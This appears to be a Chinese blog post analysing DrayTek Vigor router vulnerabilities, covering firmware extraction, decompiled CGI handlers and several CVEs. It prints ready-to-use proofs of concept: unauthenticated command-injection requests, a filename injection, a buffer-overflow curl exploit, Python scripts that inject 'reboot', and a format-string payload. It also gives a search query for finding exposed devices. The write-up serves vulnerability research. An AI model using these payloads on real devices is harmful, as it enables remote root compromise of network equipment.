美文网首页
从CVE-2020-8515命令注入到DrayTek设备全部CV

从CVE-2020-8515命令注入到DrayTek设备全部CV

作者: doinb1517 | 来源:发表于2022-12-14 22:59 被阅读0次

    简介

    Draytek是一个台湾网络设备厂商,其产品存在一些远程命令注入漏洞和溢出类漏洞,其中CVE-2020-8515不需要登陆即可执行,主要影响了DrayTek Vigor网络设备,包括企业交换机、路由器、负载均衡器和VPN网关。

    官网提供了固件下载和ftp服务器地址,方便我们直接下载固件,十分良心

    firmwares:https://www.draytek.com/support/latest-firmwares/

    ftp: https://fw.draytek.com.tw/

    漏洞介绍

    CVE官网查询漏洞如下,CVE-2020-8515漏洞修复后,新的固件还是存在漏洞

    2.png

    FOFA搜索 title="Vigor 2960"

    分析Vigor2960固件下载1.5.0版本

    4.png

    binwalk查看固件

    5.png

    用ubi_reader提取固件

    GIthub:https://github.com/jrspruitt/ubi_reader

    ubireader_extract_files Vigor2960_v1.5.0.all
    
    6.png

    服务器为lighttpd

    7.png

    cgi服务如下

    8.png

    查看main函数

    int __fastcall main(int a1, char **a2, char **a3)
    {
      char *v4; // r0
      const char *v5; // r4
      int v6; // r0
      int v7; // r0
      char **v8; // r0
      int v9; // r1
      int Value; // r5
      int v11; // r4
      const char *v12; // r5
      const char *v13; // r4
      int v14; // r0
      char *v15; // r0
      char *v16; // r4
      char *v17; // r0
      char *v18; // r4
      char *v19; // r0
      char *v20; // r4
      char *v21; // r5
      int v22; // r8
      time_t v23; // r7
      char *v24; // r0
      unsigned int v25; // r0
      char *v26; // r0
      int v27; // r0
      int v28; // r4
      int v29; // r0
      char v31[56]; // [sp+0h] [bp-38h] BYREF
    
      dword_43D34 = cgiInit(a1, a2);
      dword_43D2C = (int)a3;
      v4 = getenv("PATH_INFO");
      v5 = v4;
      if ( v4 )
      {
        if ( !strcmp(v4, "/webrestore") )
        {
          if ( sub_18C04(0) > 3 )
            sub_14364(a3);
          goto LABEL_82;
        }
        if ( !strcmp(v5, "/fwupload") )
        {
          v6 = sub_18C04(0);
          if ( v6 > 3 )
            v6 = sub_1422C(a3);
          goto LABEL_78;
        }
        if ( !strcmp(v5, "/webfwupgrade") )
        {
          if ( sub_18C04(0) > 3 )
            sub_B1F8();
          goto LABEL_82;
        }
        if ( !strcmp(v5, "/fwupgrade_auto") )
        {
          if ( sub_18C04(0) > 3 )
            sub_15ED4();
          goto LABEL_82;
        }
        if ( !strcmp(v5, "/modupgrade_app") )
        {
          if ( sub_18C04(0) <= 3 )
            goto LABEL_82;
          v7 = 0;
          goto LABEL_25;
        }
        if ( !strcmp(v5, "/modupgrade") )
        {
          if ( sub_18C04(0) <= 3 )
            goto LABEL_82;
          v8 = a3;
          v9 = 0;
          goto LABEL_29;
        }
        if ( !strcmp(v5, "/patupgrade_auto") )
        {
          if ( sub_18C04(0) <= 3 )
            goto LABEL_82;
          v7 = 1;
    LABEL_25:
          sub_15DEC(v7);
          goto LABEL_82;
        }
        if ( !strcmp(v5, "/patupgrade") )
        {
          if ( sub_18C04(0) <= 3 )
            goto LABEL_82;
          v8 = a3;
          v9 = 1;
    LABEL_29:
          sub_23084(v8, v9);
          goto LABEL_82;
        }
        if ( !strcmp(v5, "/login") )
        {
          if ( sub_18C04(0) == 1 )
            sub_20054(a3);
        }
        else if ( !strcmp(v5, "/uploadlangs") )
        {
          if ( sub_18C04(0) > 3 )
            sub_1346C(a3);
        }
        else if ( !strcmp(v5, "/trustcaupload") )
        {
          if ( sub_18C04(0) > 3 )
            sub_140BC(a3);
        }
        else if ( !strcmp(v5, "/usercetificateupload") )
        {
          if ( sub_18C04(0) > 3 )
            sub_13F4C(a3);
        }
        else if ( !strcmp(v5, "/userkeyupload") )
        {
          if ( sub_18C04(0) > 3 )
            sub_13DC8(a3);
        }
        else if ( !strcmp(v5, "/certificaterequestupload") )
        {
          if ( sub_18C04(0) > 3 )
            sub_13C70(a3);
        }
        else if ( !strcmp(v5, "/cvmupload") )
        {
          Value = cgiGetValue(dword_43D34, "dir");
          v11 = cgiGetValue(dword_43D34, "file");
          if ( sub_18C04(v11) == 7 )
            sub_13AB8(a3, Value, v11);
        }
        else if ( !strcmp(v5, "/apmupload") )
        {
          v12 = (const char *)cgiGetValue(dword_43D34, "dir");
          v13 = (const char *)cgiGetValue(dword_43D34, "file");
          v14 = printf("[cvmupload]: %s, %s\n", v12, v13);
          if ( sub_18C04(v14) == 7 )
            sub_137E0(a3, v12, v13);
        }
        else if ( !strcmp(v5, "/fwupgrade") )
        {
          v15 = getenv("REQUEST_URI");
          v16 = strstr(v15, "file=");
          if ( ((int (*)(void))sub_18C04)() == 7 )
            sub_16284(a3, v16 + 5);
        }
        else if ( !strcmp(v5, "/apmconfigbackup") )
        {
          v17 = getenv("REQUEST_URI");
          v18 = strstr(v17, "file=");
          if ( ((int (*)(void))sub_18C04)() == 7 )
            sub_160B4(a3, v18 + 5);
        }
        else if ( !strcmp(v5, "/apmmapdownload") )
        {
          v19 = getenv("REQUEST_URI");
          v20 = strstr(v19, "file=");
          if ( ((int (*)(void))sub_18C04)() == 7 )
            sub_15F60(a3, v20 + 5);
        }
        else if ( !strcmp(v5, "/cvmcfgupload") || !strcmp(v5, "/apmcfgupload") )
        {
          v21 = getenv("QUERY_STRING");
          v22 = strcmp(v5, "/apmcfgupload");
          if ( v21 )
          {
            memset(v31, 0, 0x20u);
            v23 = time(0);
            v24 = strstr(v21, "session=");
            if ( !v24
              || (snprintf(v31, (size_t)"%s", v24 + 8, 11), v25 = strtoul(v31, 0, 10), v23 - (v25 ^ (v25 << 16)) <= 0x64) )
            {
              sub_13544(a3, v21, v22 == 0);
            }
          }
        }
        else if ( !strcmp(v5, "/cfgimport") )
        {
          if ( ((int (*)(void))sub_18C04)() > 3 )
            sub_221D0(a3);
        }
        else if ( !strcmp(v5, "/commonupload") )
        {
          if ( ((int (*)(void))sub_18C04)() > 3 )
            sub_21268(a3);
        }
        else
        {
          v6 = strcmp(v5, "/swmconfigupload");
          if ( v6 )
          {
    LABEL_78:
            cgiHeader(v6);
            goto LABEL_82;
          }
          if ( ((int (*)(void))sub_18C04)() > 3 )
            sub_163FC(a3);
        }
      }
      else
      {
        v26 = (char *)cgiGetValue(dword_43D34, "action");
        if ( v26 )
        {
          v27 = sub_B44C(v26);
          v28 = v27;
          if ( v27 )
          {
            v29 = (*(int (**)(void))(v27 + 8))();
            (*(void (__fastcall **)(int))(v28 + 4))(v29);
          }
        }
      }
    LABEL_82:
      cgiFree(dword_43D34);
      return 0;
    }
    

    获取环境变量PATH_INFO然后比较路径,这是一种逻辑

    9.png

    跳过上述匹配逻辑后,我们本次分析的漏洞点位于下图,获取action的值传入sub_B44C

    10.png

    遍历43408存储的路径确定执行该动作的函数

    12.png 11.png

    CVE-2020-8515

    漏洞描述

    DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.

    漏洞分析

    我们根据expdatabase的exp具体分析下此漏洞成因

    link:https://www.exploit-db.com/exploits/48268

    // payload preparation
    vulnerableFile := "/cgi-bin/mainfunction.cgi"
    // specially crafted CMD
    // action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
    

    漏洞存在于处理login的函数中

    login.png

    开始分析函数sub_2B33B

    获取用户输入的keyPath参数,AD58函数对参数进行检查

    13.png

    检查函数实现如下

    14.png

    过滤了一些常见的命令注入,但是依旧可以通过%0a绕过

    snprintf拼接命令之后使用,使用封装的命令执行

    15.png

    封装命令执行的函数如下,是调用popen实现

    16.png

    命令执行测试

    action=login&keyPath=%27%0Aid%0A%27&loginUser=gkF0JfrzT3TUkBQqVksNrs/Zc98wwGJwuPvKf+n2sJetI6HTxKCtS5bFHh71uUzBoL7M8eo+iEZUIwahjuD1kw==&loginPwd=kl9HgL6nk94YAv9jibub9rTz7ma1LnL0zRsIkm6Fv75tKz1QsDf6ujULSyXEyGWpwLQGkuJ86XDFmo5eHVzvFg==&formcaptcha=bnVsbA==&rtick=null
    
    18.png

    存在空格的命令执行

    action=login&keyPath=%27%0Aexpr${IFS}1000${IFS}-${IFS}9%0A%27&loginUser=gkF0JfrzT3TUkBQqVksNrs/Zc98wwGJwuPvKf+n2sJetI6HTxKCtS5bFHh71uUzBoL7M8eo+iEZUIwahjuD1kw==&loginPwd=kl9HgL6nk94YAv9jibub9rTz7ma1LnL0zRsIkm6Fv75tKz1QsDf6ujULSyXEyGWpwLQGkuJ86XDFmo5eHVzvFg==&formcaptcha=bnVsbA==&rtick=null
    
    17.png

    CVE-2020-15415

    漏洞描述

    On DrayTek Vigor3900, Vigor2960, and Vigor300B devices before 1.5.1, cgi-bin/mainfunction.cgi/cvmcfgupload allows remote command execution via shell metacharacters in a filename when the text/x-python-script content type is used, a different issue than CVE-2020-14472.

    漏洞分析

    找到一个相关poc

    Github:https://github.com/CLP-team/Vigor-Commond-Injection

    POST /cgi-bin/mainfunction.cgi/cvmcfgupload?1=2 HTTP/1.1
    Host: xxx.xxx.xxx.xxx:xxxx
    Content-Length: 174
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh,en;q=0.9,zh-CN;q=0.8,la;q=0.7
    Connection: close
    
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="abc"; filename="t';id;echo '1_"
    Content-Type: text/x-python-script
    
    
    
    ------WebKitFormBoundary--
    

    根据cvmcfgupload定位到漏洞位置,v21是取URL中的参数,如果参数是session如果不存在走到sub_13544,这里我们随意输入键值对即可

    19.png

    跟进sub_13544函数

    21.png

    拼接字符串执行,我们只需要用两个单引号闭合格式化字符串中的两个单引号,再加个_就可以走到执行system函数的逻辑。

    20.png

    测试后的POC

    POST /cgi-bin/mainfunction.cgi/cvmcfgupload?a=b HTTP/1.1
    Host: xx.xx.xx.xx
    Content-Length: 153
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
    
    ------WebKitFormBoundary
    Content-Disposition: form-data; filename="t';id;echo '1_"
    Content-Type: text/x-python-script
    
    
    
    ------WebKitFormBoundary--
    

    规则防护

    新增规则

    CVE-2020-14993

    漏洞描述

    A stack-based buffer overflow on DrayTek Vigor2960, Vigor3900, and Vigor300B devices before 1.5.1.1 allows remote attackers to execute arbitrary code via the formuserphonenumber parameter in an authusersms action to mainfunction.cgi.

    漏洞分析

    这边我首先通过action执行的操作去搜索函数authusersms,但是居然搜不到。。。

    于是我通过参数定位了函数,在返回去看为何看对应action字符串找不到

    22.png

    发现这边字符串实际上没问题,不知道为何IDA 不识别

    23.png

    直接看函数sub_27B48,就是个简单的栈溢出

    24.png

    找到个EXP:

    curl -d "action=authusersms&custom1=1;&custom2=1&custom3=1&formuserphonenumber=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xEC\xC7\x01&URL=www.baidu.com&HOST=123456897&serverip=";ls;echo 'pwn it';&filename=pwn" -X POST http://192.168.0.250/cgi-bin/mainfunciton.cgi
    

    Github:https://github.com/dexterone/Vigor-poc

    CVE-2021-43118

    漏洞描述

    A Remote Command Injection vulnerability exists in DrayTek Vigor 2960 1.5.1.3, DrayTek Vigor 3900 1.5.1.3, and DrayTek Vigor 300B 1.5.1.3 via a crafted HTTP message containing malformed QUERY STRING in mainfunction.cgi, which could let a remote malicious user execute arbitrary code.

    漏洞分析

    根据poc分析漏洞点在"action"为 "authuser"时,函数为sub_2BA74

    POC link:https://gist.github.com/Cossack9989/6034c077f46e4f06d0992e9f2fae7f26

    28.png
    from sys import argv
    from base64 import b64encode
    import requests
    
    data = {
      "URL": "192.168.1.1",
      "HOST": "http://192.168.1.1",
      "action": "authuser",
      "formusername": b64encode(b"admin").decode(),
      "formpassword": b64encode(b"admin'&&reboot&&echo '").decode(),
      "PHONENUMBER": argv[1]
    }
    header = {
      "Content-Type": "application/raw"
    }
    url = {
      "root": "http://192.168.1.1:80",
      "cgi": {
        "root": "/cgi-bin",
        "uri": {
          "mf": "/mainfunction.cgi",
        }
      }
    }
    
    def build_url(p1, p2=None):
      if p2:
        return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
      else:
        return url["root"] + url[p1]
       
    session = requests.session()
    session.post(build_url("cgi", "mf"), data=data, headers=header)
    

    拿到password并解码

    26.png

    检查完之后又命令注入了

    25.png

    这个漏洞好像需要用户名和密码,未成功执行,也可能是我执行有问题

    27.png

    其他CVE漏洞思路简介

    设备还存在其他CVE漏洞,但是基本都是些溢出类漏洞,而且需要登陆后触发,就不再详细复现,仅做简单介绍

    栈溢出类

    这几个设备都没有开任何保护措施,exp都是控制PC寄存器直接Return2shellcode,下面几个CVE为同一人发现,参考链接:

    https://slashd.ga/2020/03/draytek-vulnerabilities/

    29.png
    • CVE-2020-10823 Stack-based buffer overflow in /cgi-bin/activate.cgi through var variable. The vulnerability allows to execute code by remote unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1
    • CVE-2020-10824 Stack-based buffer overflow in /cgi-bin/activate.cgi through ticket variable. The vulnerability allows to execute code by remote unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1
    • CVE-2020-10825 Stack-based buffer overflow in /cgi-bin/activate.cgi through base64-decoding ticket variable. The vulnerability allows to execute code by remote unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1
    • CVE-2020-10826 Command-injection in /cgi-bin/activate.cgi in DEBUG mode. The vulnerability allows to execute system command by remote unauthorized attacker if device works in DEBUG mode. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1
    • CVE-2020-10827 Stack-based buffer overflow in apmd service. The vulnerability allows to execute remote code by unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1
    • CVE-2020-10828 Stack-based buffer overflow in cvmd service. The vulnerability allows to execute remote code by unauthorized attacker. Affected products: Vigor3900 before 1.5.1, Vigor2960 before 1.5.1, Vigor300B before 1.5.1

    格式化字符串类

    • CVE-2021-42911A Format String vulnerability exists in DrayTek Vigor 2960 <= 1.5.1.3, DrayTek Vigor 3900 <= 1.5.1.3, and DrayTek Vigor 300B <= 1.5.1.3 in the mainfunction.cgi file via a crafted HTTP message containing malformed QUERY STRING, which could let a remote malicious user execute arbitrary code.

    POC

    from base64 import b64encode
    import requests
    
    data = {
     "action": "login",
     "formusername": b64encode(b"%s%s%s%s%s%s%s%s%n%n%n%n%n").decode(),
     "formpassword": b64encode(b"12345678").decode(),
     "formcaptcha": b64encode(b"123456").decode(),
     "rtick": "2345678"
    }
    header = {
     "Content-Type": "application/raw"
    }
    url = {
     "root": "http://192.168.1.1:80",
     "cgi": {
      "root": "/cgi-bin",
      "uri": {
       "mf": "/mainfunction.cgi",
      }
     }
    }
    
    def build_url(p1, p2=None):
     if p2:
      return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
     else:
      return url["root"] + url[p1]
    
    
    session = requests.session()
    r = session.post(build_url("cgi", "mf"), data=data, headers=header)
    print(r)
    

    参考链接:https://gist.github.com/Cossack9989/e9c1c2d2e69b773ca4251acdd77f2835

    XSS漏洞

    路由器管理页面存在XSS,使用普通XSS测试方法即可,不再详细介绍

    其他命令注入

    有两个命令注入给我们提供了一些新思路

    CVE-2021-43118和CVE-2020-14472,这两个CVE都是将payload进行base64解码后再执行逻辑,我们进行fuzz时也要考虑到

    POC of CVE-2021-43118

    link:https://gist.github.com/Cossack9989/6034c077f46e4f06d0992e9f2fae7f26

    from sys import argv
    from base64 import b64encode
    import requests
    
    data = {
      "URL": "192.168.1.1",
      "HOST": "http://192.168.1.1",
      "action": "authuser",
      "formusername": b64encode(b"admin").decode(),
      "formpassword": b64encode(b"admin'&&reboot&&echo '").decode(),
      "PHONENUMBER": argv[1]
    }
    header = {
      "Content-Type": "application/raw"
    }
    url = {
      "root": "http://192.168.1.1:80",
      "cgi": {
        "root": "/cgi-bin",
        "uri": {
          "mf": "/mainfunction.cgi",
        }
      }
    }
    
    def build_url(p1, p2=None):
      if p2:
        return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
      else:
        return url["root"] + url[p1]
       
    session = requests.session()
    session.post(build_url("cgi", "mf"), data=data, headers=header)
    

    POC of CVE-2020-14472

    link:https://gist.github.com/Cossack9989/fa9718434ceee4e6d4f6b0ad672c10f1

    from sys import argv
    from base64 import b64encode
    import requests
    
    data = {
        "URL": "192.168.1.1",
        "HOST": "http://192.168.1.1",
        "action": "authuser",
        "formusername": b64encode(b"test").decode(),
        "formpassword": b64encode(b"12345678`reboot`").decode(),
        "PHONENUMBER": argv[1] # the known phone number
    }
    header = {
        "Content-Type": "application/raw"
    }
    url = {
        "root": "http://192.168.1.1",
        "cgi": {
            "root": "/cgi-bin",
            "uri": {
                "mf": "/mainfunction.cgi",
            }
        }
    }
    
    def build_url(p1, p2=None):
        if p2:
            return url["root"] + url[p1]["root"] + url[p1]["uri"][p2]
        else:
            return url["root"] + url[p1]
    
    session = requests.session()
    session.post(build_url("cgi", "mf"), data=data, headers=header)
    

    相关文章

      网友评论

          本文标题:从CVE-2020-8515命令注入到DrayTek设备全部CV

          本文链接:https://www.haomeiwen.com/subject/klglqdtx.html